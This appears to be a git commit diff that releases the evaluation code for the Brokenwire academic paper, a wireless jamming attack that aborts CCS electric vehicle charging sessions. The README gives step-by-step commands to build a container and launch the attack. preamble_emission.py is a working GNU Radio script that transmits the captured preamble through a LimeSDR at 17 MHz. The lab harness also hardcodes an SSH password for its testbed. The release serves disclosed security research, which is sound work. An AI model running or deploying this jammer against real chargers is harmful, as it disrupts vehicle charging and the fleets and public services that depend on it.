made source code available
This commit is contained in:
parent
feb6a49f26
commit
a61c5b376a
|
@ -0,0 +1,3 @@
|
|||
*.DS_Store*
|
||||
*__pycache__*
|
||||
*.ipynb_checkpoints*
|
|
@ -0,0 +1,31 @@
|
|||
FROM ubuntu:20.04
|
||||
|
||||
ENV LANG C.UTF-8
|
||||
|
||||
ARG DEBIAN_FRONTEND=noninteractive
|
||||
ENV TZ=Europe/London
|
||||
RUN apt -y update
|
||||
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
|
||||
RUN apt-get install -y tzdata
|
||||
RUN apt -y install python3-pip wget git python-mako doxygen cmake build-essential texlive-fonts-recommended texlive-fonts-extra dvipng sshpass software-properties-common
|
||||
RUN add-apt-repository -y ppa:gnuradio/gnuradio-releases
|
||||
RUN apt -y install gnuradio
|
||||
RUN apt -y install git cmake g++ libboost-all-dev libgmp-dev swig python3-numpy python3-mako python3-sphinx python3-lxml libfftw3-dev libsdl1.2-dev libgsl-dev libqwt-qt5-dev libqt5opengl5-dev python3-pyqt5 liblog4cpp5-dev libzmq3-dev python3-yaml python3-click python3-click-plugins python3-zmq python3-scipy python3-gi python3-gi-cairo gobject-introspection gir1.2-gtk-3.0
|
||||
|
||||
RUN apt -y install limesuite limesuite-udev
|
||||
|
||||
WORKDIR /home
|
||||
|
||||
ADD ./code /home/code
|
||||
WORKDIR /home/code
|
||||
|
||||
### Make sure the newest numpy version is installed
|
||||
RUN pip3 install --upgrade numpy
|
||||
|
||||
### Install Pyhton Requirements and Jupyter ###
|
||||
RUN pip3 install -r req
|
||||
RUN pip3 install --upgrade jupyter
|
||||
RUN pip3 install jupyterlab
|
||||
|
||||
### Start a shell
|
||||
CMD ["/bin/bash"]
|
75
README.md
75
README.md
|
@ -1,3 +1,74 @@
|
|||
# Brokenwire: Wireless Disruption of CCS EV Charging
|
||||
<p align="center"><img src="https://github.com/ssloxford/brokenwire/blob/master/data/brokenwire_logo.png" width="30%"></p>
|
||||
|
||||
This repository will contain the evaluation source code for our paper Brokenwire once the embargo period has passed.
|
||||
# Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging
|
||||
|
||||
This repository contains the evaluation source code used in our NDSS paper [**Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging**](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s251_paper.pdf).
|
||||
|
||||
Brokenwire is a novel attack against the **Combined Charging System (CCS)**, one of the most widely used DC rapid charging technologies for electric vehicles (EVs).
|
||||
The attack interrupts necessary control communication between the vehicle and charger, **causing charging sessions to abort**.
|
||||
The attack can be conducted wirelessly from a distance using electromagnetic interference, allowing individual vehicles or entire fleets to be disrupted simultaneously.
|
||||
In addition, the attack can be mounted with off-the-shelf radio hardware and minimal technical knowledge.
|
||||
With a power budget of 1 W, the attack is successful from around **47 m** distance.
|
||||
The **exploited CSMA/CA behavior** is a required part of the HomePlug GreenPHY, DIN 70121 & ISO 15118 standards and all known implementations exhibit it.
|
||||
|
||||
Brokenwire has immediate implications for many of the **12 million** battery EVs estimated to be on the roads worldwide — and profound effects on the new wave of electrification for vehicle fleets, both for private enterprise and for crucial public
|
||||
services.
|
||||
In addition to electric cars, Brokenwire affects **electric ships, airplanes and heavy duty vehicles**.
|
||||
As such, we conducted a disclosure to industry and discuss in our paper a range of mitigation techniques that could be deployed to limit the impact.
|
||||
|
||||
You can also learn more about Brokenwire on our [**website**](https://brokenwire.fail).
|
||||
|
||||
## Structure of the Repository
|
||||
This repository is organized as follows:
|
||||
|
||||
```
|
||||
. # root directory of the repository
|
||||
├── code # contains the evaluation source code
|
||||
│ ├── lab_evaluation # files used for the lab evaluation
|
||||
│ │ └── collect_data.py # Python script used to evaluate Brokenwire in a controlled lab setting
|
||||
│ ├── lib # various Python classes required for the evaluation
|
||||
│ │ │── EvaluationUtils.py # library that helps running the lab evaluation
|
||||
│ │ └── IPerfEvaluation.py # Python class used for the lab evaluation
|
||||
│ ├── req # text file that contains all the Python requirements
|
||||
│ └── scripts # directory that contains additional evaluation scripts
|
||||
│ └── preamble_emission.py # Python script that emits the preamble with a LimeSDR
|
||||
├── data # directory that contains required files
|
||||
│ └── preambles # directory that contains the preamble
|
||||
│ └── captured_preamble.dat # captured preamble used for the attack
|
||||
├── docker-compose.yml # configuration file of the Docker container
|
||||
├── Dockerfile # build instructions for the Docker container
|
||||
└── README.md # this README file
|
||||
```
|
||||
|
||||
## Running the Docker Container
|
||||
This repository contains all configuration and source code files necessary to run the Brokenwire attack.
|
||||
To ensure a quick and easy deployment, we provide a Dockerfile to build a container with all the required dependencies.
|
||||
<br>**Please note**, to immediately get started with this repository, you will need `docker`, `docker-compose` and a LimeSDR.
|
||||
|
||||
The following steps outline how to build and run the Docker container and execute the Brokenwire attack:
|
||||
|
||||
* `git clone https://github.com/ssloxford/brokenwire.git`
|
||||
* `cd brokenwire/`
|
||||
* `docker-compose build`
|
||||
* `docker-compose up -d`
|
||||
|
||||
Once the container is up and running, you can attach to it
|
||||
|
||||
`docker attach brokenwire`
|
||||
|
||||
and run the following command to start the attack:
|
||||
|
||||
`python3 /home/code/scripts/preamble_emission.py --lime-sdr-gain LIMESDR_GAIN`
|
||||
|
||||
where LIMESDR_GAIN is a value between -12 and 64.
|
||||
|
||||
## Recommended Equipment
|
||||
|
||||
To run the Brokenwire attack, a software-defined radio that can transmit at a center frequency of 17 MHz with a sample rate >= 25MSPS is required.
|
||||
While any SDR with the these properties should work, our source code is tailored to the use of a LimeSDR.
|
||||
Since Brokenwire is a very effective attack and does not require a high transmission power, testing the attack should not require any additional amplification.
|
||||
|
||||
## Contributors
|
||||
* [Sebastian Köhler](https://cs.ox.ac.uk/people/sebastian.kohler)
|
||||
* [Richard Baker](https://www.cs.ox.ac.uk/people/richard.baker)
|
||||
* [Martin Strohmeier](https://www.cs.ox.ac.uk/people/martin.strohmeier)
|
||||
|
|
|
@ -0,0 +1,169 @@
|
|||
import sys
|
||||
sys.path.append("/home/code/lib/")
|
||||
|
||||
from EvaluationUtils import EvaluationUtils
|
||||
from IPerfEvaluation import IPerfEvaluation
|
||||
import numpy as np
|
||||
import argparse
|
||||
import copy
|
||||
import glob
|
||||
import subprocess
|
||||
import os
|
||||
from subprocess import Popen
|
||||
import time
|
||||
import json
|
||||
|
||||
class ConnectionError(Exception):
|
||||
pass
|
||||
|
||||
def set_noise_level(noise_level):
|
||||
# Before setting the noise, make sure that no noise output is currently running
|
||||
end_noise_output()
|
||||
output_noise = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "/home/pi/evdisrupt-picoscope-awgn/run.sh", str(noise_level)])
|
||||
time.sleep(5)
|
||||
output_noise.terminate()
|
||||
|
||||
def end_noise_output():
|
||||
#sudo pkill -INT python3
|
||||
kill_previous_output = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "sudo", "pkill", "-INT", "python3"])
|
||||
# Wait for 5 seconds to give docker enough time to shutdown
|
||||
time.sleep(5)
|
||||
kill_previous_output.terminate()
|
||||
|
||||
def emit_preamble(preamble, lime_sdr_gain):
|
||||
run_gnuradio_script = Popen(["python3", "/home/code/scripts/preamble_emission.py", "--preamble", str(preamble), "--lime-sdr-gain", str(lime_sdr_gain)])
|
||||
time.sleep(10)
|
||||
return run_gnuradio_script
|
||||
|
||||
def run_iperf(iperf_evaluation):
|
||||
|
||||
# IPerf Settings
|
||||
ip = "192.168.2.1"
|
||||
port = "1234"
|
||||
evaluation_time = iperf_evaluation.evaluation_time
|
||||
bandwidth = "5M"
|
||||
|
||||
# Start the IPerf Server
|
||||
iperf_server = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-secc.lan", "iperf3", "-s", "-p", port, "-J", "-1"], stdout=subprocess.PIPE)
|
||||
# Sleep for a little while to make sure the IPerf Server is up and running
|
||||
time.sleep(5)
|
||||
|
||||
# Start the IPerf Client
|
||||
# Possible error: iperf3: error - unable to connect to server: No route to host
|
||||
iperf_client = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "iperf3", "-u", "-b", bandwidth, "-t", str(evaluation_time), "-p", port, "-c", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
try:
|
||||
iperf_client.wait(timeout=(evaluation_time + 5))
|
||||
except:
|
||||
iperf_server.terminate()
|
||||
iperf_client.terminate()
|
||||
return
|
||||
|
||||
iperf_client_output = iperf_client.communicate()[1].decode('utf-8')
|
||||
print(iperf_client_output)
|
||||
|
||||
if "unable to connect to server" in str(iperf_client_output) or str(iperf_client_output) != "":
|
||||
print(f"FAILED: {iperf_client_output}")
|
||||
iperf_server.terminate()
|
||||
iperf_client.terminate()
|
||||
raise ConnectionError('No connection to server possible!')
|
||||
|
||||
# Wait for the process, if no client connected kill the process
|
||||
iperf_server.wait(timeout=20)
|
||||
# Get the output from the IPerf Server Process
|
||||
iperf_server_output = iperf_server.communicate()[0].decode('utf-8')
|
||||
#print(iperf_server_output)
|
||||
|
||||
# Extract the important info from the IPerf Run
|
||||
iperf_json_output = json.loads(iperf_server_output)
|
||||
try:
|
||||
iperf_summary = iperf_json_output["end"]["sum"]
|
||||
iperf_evaluation.jitter = iperf_summary["jitter_ms"]
|
||||
iperf_evaluation.lost = iperf_summary["lost_packets"]
|
||||
iperf_evaluation.sent = iperf_summary["packets"]
|
||||
iperf_evaluation.loss = iperf_summary["lost_percent"]
|
||||
iperf_evaluation.print_results()
|
||||
except:
|
||||
pass
|
||||
|
||||
# Make sure both processes are terminated
|
||||
iperf_server.terminate()
|
||||
iperf_client.terminate()
|
||||
|
||||
def run_evaluation(number_of_runs, iperf_evaluation):
|
||||
noise_levels = [0]
|
||||
|
||||
if iperf_evaluation.preamble is None:
|
||||
preambles = glob.glob("/home/data/preambles/*.dat")
|
||||
else:
|
||||
preambles = [iperf_evaluation.preamble]
|
||||
|
||||
lime_sdr_min_gain = 12
|
||||
lime_sdr_max_gain = 64
|
||||
gain_step_size = 2
|
||||
|
||||
for preamble in preambles:
|
||||
|
||||
# Repeat attack evaluation
|
||||
for run in range(number_of_runs):
|
||||
for noise_level in noise_levels:
|
||||
#end_noise_output()
|
||||
iperf_results = []
|
||||
# Count how often the communication was interrupted
|
||||
interruption_counter = 0
|
||||
|
||||
#if noise_level > 0:
|
||||
#end_noise_output()
|
||||
#set_noise_level(noise_level)
|
||||
# Wait for 15 seconds to make sure the Picoscope has been initilized
|
||||
#time.sleep(15)
|
||||
|
||||
# Iterate from lowest LimeSDR gain to highest
|
||||
for lime_sdr_gain in range(lime_sdr_min_gain, lime_sdr_max_gain + 1, gain_step_size):
|
||||
current_evaluation_run = copy.deepcopy(iperf_evaluation)
|
||||
current_evaluation_run.lime_sdr_gain = lime_sdr_gain
|
||||
current_evaluation_run.noise_level = noise_level
|
||||
|
||||
if interruption_counter > 1:
|
||||
print("Now reached the maximum number of tries")
|
||||
current_evaluation_run.loss = 100
|
||||
iperf_results.append(current_evaluation_run)
|
||||
continue
|
||||
|
||||
|
||||
gnuradio_process = emit_preamble(preamble, lime_sdr_gain)
|
||||
time.sleep(4)
|
||||
|
||||
try:
|
||||
run_iperf(current_evaluation_run)
|
||||
except ConnectionError:
|
||||
print("Catching ConnectionError Exception")
|
||||
current_evaluation_run.loss = 100
|
||||
interruption_counter += 1
|
||||
|
||||
gnuradio_process.terminate()
|
||||
time.sleep(4)
|
||||
|
||||
iperf_results.append(current_evaluation_run)
|
||||
|
||||
EvaluationUtils.save_results("results_20211214.csv", iperf_results)
|
||||
time.sleep(5)
|
||||
#end_noise_output()
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description='Run evaluation for specific distance.')
|
||||
parser.add_argument('--distance', '-d', type=float, help='Distance between PLC and transmitter (m).', required=True)
|
||||
parser.add_argument('--amplifier', '-a', type=str, help='Amplifier.', required=False, default="1W")
|
||||
parser.add_argument('--voltage', '-v', type=float, help='Amplifier Voltage.', required=False, default=12.0)
|
||||
parser.add_argument('--current', '-c', type=float, help='Amplifier Current.', required=False, default=0.31)
|
||||
parser.add_argument('--preamble', '-p', type=str, help='Path to the preamble.', required=False)
|
||||
parser.add_argument('--time', '-t', type=int, help='Attack duration in seconds.', required=False, default=30)
|
||||
parser.add_argument('--cable_length', type=int, help='Length of the charging cable (m).', required=False, default=4)
|
||||
parser.add_argument('--angle', type=int, help='Angle between attacker and charging cable.', required=False, default=0)
|
||||
parser.add_argument('--antenna_position', type=str, help='Description of antenna position.', required=False, default="Nearly centered, parallel")
|
||||
parser.add_argument('--antenna', type=str, help='Description of antenna setting.', required=False, default="One dipole unrolled, one rolled")
|
||||
parser.add_argument('--number_of_runs', '-r', type=int, help='Number of runs.', required=False, default=1)
|
||||
args = parser.parse_args()
|
||||
|
||||
iperf_evaluation = IPerfEvaluation(args.distance, args.amplifier, args.voltage, args.current, args.preamble, args.time, args.cable_length, args.angle, args.antenna_position, args.antenna)
|
||||
|
||||
run_evaluation(args.number_of_runs, iperf_evaluation)
|
|
@ -0,0 +1,23 @@
|
|||
import glob
|
||||
import sys
|
||||
sys.path.append("../lib/")
|
||||
|
||||
import pandas as pd
|
||||
import os
|
||||
import numpy as np
|
||||
|
||||
class EvaluationUtils:
|
||||
|
||||
# This method takes an object, converts it into a dict and stores it into a CSV file
|
||||
def save_results(file_name, results):
|
||||
if len(results) > 0:
|
||||
data_frame = pd.DataFrame(columns=results[0].to_dict().keys())
|
||||
for result in results:
|
||||
data_frame = data_frame.append(result.to_dict(), ignore_index=True)
|
||||
|
||||
# Check if file exists, if so, append the file.
|
||||
# If not, create a new one.
|
||||
if os.path.isfile(file_name):
|
||||
data_frame.to_csv(file_name, mode='a', header=False, index=False)
|
||||
else:
|
||||
data_frame.to_csv(file_name, index=False)
|
|
@ -0,0 +1,30 @@
|
|||
class IPerfEvaluation():
|
||||
|
||||
noise_level = 0
|
||||
lime_sdr_gain = 0
|
||||
output_power = 0
|
||||
jitter = 0
|
||||
lost = 0
|
||||
sent = 0
|
||||
loss = 100
|
||||
|
||||
def __init__(self, distance, amplifier, voltage, current, preamble, evaluation_time, cable_length, angle, antenna_position, antenna):
|
||||
self.distance = distance
|
||||
self.amplifier = amplifier
|
||||
self.voltage = voltage
|
||||
self.current = current
|
||||
self.preamble = preamble
|
||||
self.evaluation_time = evaluation_time
|
||||
self.cable_length = cable_length
|
||||
self.angle = angle
|
||||
self.antenna_position = antenna_position
|
||||
self.antenna = antenna
|
||||
|
||||
def to_dict(self):
|
||||
return self.__dict__
|
||||
|
||||
def print(self):
|
||||
print(f"IPerf Evaluation:\n\tDistance: {self.distance}\n\tAmplifier: {self.amplifier}\n\tVoltage: {self.voltage}\n\tCurrent: {self.current}\n\tPreamble: {self.preamble}\n\tEvaluation Time: {self.evaluation_time}\n\tCable Length: {self.cable_length}\n\tAngle: {self.angle}\n\tAntenna Position: {self.antenna_position}\n\tAntenna: {self.antenna}")
|
||||
|
||||
def print_results(self):
|
||||
print(f"Results for Noise Level: {self.noise_level} and Gain: {self.lime_sdr_gain}\nLost: {self.lost}\nSent: {self.sent}\nLoss: {self.loss}")
|
|
@ -0,0 +1,136 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
#
|
||||
# SPDX-License-Identifier: GPL-3.0
|
||||
#
|
||||
# GNU Radio Python Flow Graph
|
||||
# Title: Not titled yet
|
||||
# GNU Radio version: 3.9.2.0
|
||||
|
||||
from gnuradio import blocks
|
||||
import pmt
|
||||
from gnuradio import gr
|
||||
from gnuradio.filter import firdes
|
||||
from gnuradio.fft import window
|
||||
import sys
|
||||
import signal
|
||||
from argparse import ArgumentParser
|
||||
from gnuradio.eng_arg import eng_float, intx
|
||||
from gnuradio import eng_notation
|
||||
from gnuradio import soapy
|
||||
|
||||
|
||||
|
||||
|
||||
class preamble_emission(gr.top_block):
|
||||
|
||||
def __init__(self, preamble='/home/data/preambles/captured_preamble.dat', lime_sdr_gain=-12):
|
||||
gr.top_block.__init__(self, "Brokenwire", catch_exceptions=True)
|
||||
|
||||
##################################################
|
||||
# Parameters
|
||||
##################################################
|
||||
self.preamble = preamble
|
||||
self.lime_sdr_gain = lime_sdr_gain
|
||||
|
||||
##################################################
|
||||
# Variables
|
||||
##################################################
|
||||
self.samp_rate = samp_rate = 25e6
|
||||
self.freq = freq = 17e6
|
||||
|
||||
##################################################
|
||||
# Blocks
|
||||
##################################################
|
||||
self.soapy_limesdr_sink_0 = None
|
||||
dev = 'driver=lime'
|
||||
stream_args = ''
|
||||
tune_args = ['']
|
||||
settings = ['']
|
||||
|
||||
self.soapy_limesdr_sink_0 = soapy.sink(dev, "fc32", 1, '',
|
||||
stream_args, tune_args, settings)
|
||||
self.soapy_limesdr_sink_0.set_sample_rate(0, samp_rate)
|
||||
self.soapy_limesdr_sink_0.set_bandwidth(0, 0.0)
|
||||
self.soapy_limesdr_sink_0.set_frequency(0, freq)
|
||||
self.soapy_limesdr_sink_0.set_frequency_correction(0, 0)
|
||||
self.soapy_limesdr_sink_0.set_gain(0, min(max(lime_sdr_gain, -12.0), 64.0))
|
||||
self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, preamble, True, 0, 0)
|
||||
self.blocks_file_source_0.set_begin_tag(pmt.PMT_NIL)
|
||||
|
||||
|
||||
|
||||
##################################################
|
||||
# Connections
|
||||
##################################################
|
||||
self.connect((self.blocks_file_source_0, 0), (self.soapy_limesdr_sink_0, 0))
|
||||
|
||||
|
||||
def get_preamble(self):
|
||||
return self.preamble
|
||||
|
||||
def set_preamble(self, preamble):
|
||||
self.preamble = preamble
|
||||
self.blocks_file_source_0.open(self.preamble, True)
|
||||
|
||||
def get_lime_sdr_gain(self):
|
||||
return self.lime_sdr_gain
|
||||
|
||||
def set_lime_sdr_gain(self, lime_sdr_gain):
|
||||
self.lime_sdr_gain = lime_sdr_gain
|
||||
self.soapy_limesdr_sink_0.set_gain(0, min(max(self.lime_sdr_gain, -12.0), 64.0))
|
||||
|
||||
def get_samp_rate(self):
|
||||
return self.samp_rate
|
||||
|
||||
def set_samp_rate(self, samp_rate):
|
||||
self.samp_rate = samp_rate
|
||||
self.soapy_limesdr_sink_0.set_sample_rate(0, self.samp_rate)
|
||||
|
||||
def get_freq(self):
|
||||
return self.freq
|
||||
|
||||
def set_freq(self, freq):
|
||||
self.freq = freq
|
||||
self.soapy_limesdr_sink_0.set_frequency(0, self.freq)
|
||||
|
||||
|
||||
|
||||
def argument_parser():
|
||||
parser = ArgumentParser()
|
||||
parser.add_argument(
|
||||
"--preamble", dest="preamble", type=str, default='/home/data/preambles/captured_preamble.dat',
|
||||
help="Set Preamble [default=%(default)r]")
|
||||
parser.add_argument(
|
||||
"--lime-sdr-gain", dest="lime_sdr_gain", type=intx, default=-12,
|
||||
help="Set LimeSDR Gain [default=%(default)r]")
|
||||
return parser
|
||||
|
||||
|
||||
def main(top_block_cls=preamble_emission, options=None):
|
||||
if options is None:
|
||||
options = argument_parser().parse_args()
|
||||
tb = top_block_cls(preamble=options.preamble, lime_sdr_gain=options.lime_sdr_gain)
|
||||
|
||||
def sig_handler(sig=None, frame=None):
|
||||
tb.stop()
|
||||
tb.wait()
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, sig_handler)
|
||||
signal.signal(signal.SIGTERM, sig_handler)
|
||||
|
||||
tb.start()
|
||||
|
||||
# try:
|
||||
# input('Press Enter to quit: ')
|
||||
# except EOFError:
|
||||
# pass
|
||||
#tb.stop()
|
||||
tb.wait()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Binary file not shown.
After Width: | Height: | Size: 122 KiB |
Binary file not shown.
|
@ -0,0 +1,19 @@
|
|||
version: "3.5"
|
||||
services:
|
||||
brokenwire:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
network_mode: "host"
|
||||
privileged: true
|
||||
image: brokenwire:brokenwire
|
||||
environment:
|
||||
- DISPLAY=$DISPLAY
|
||||
container_name: brokenwire
|
||||
stdin_open: true
|
||||
tty: true
|
||||
volumes:
|
||||
- "/dev:/dev"
|
||||
- "/proc:/proc"
|
||||
- "./code:/home/code"
|
||||
- "./data:/home/data"
|
Loading…
Reference in New Issue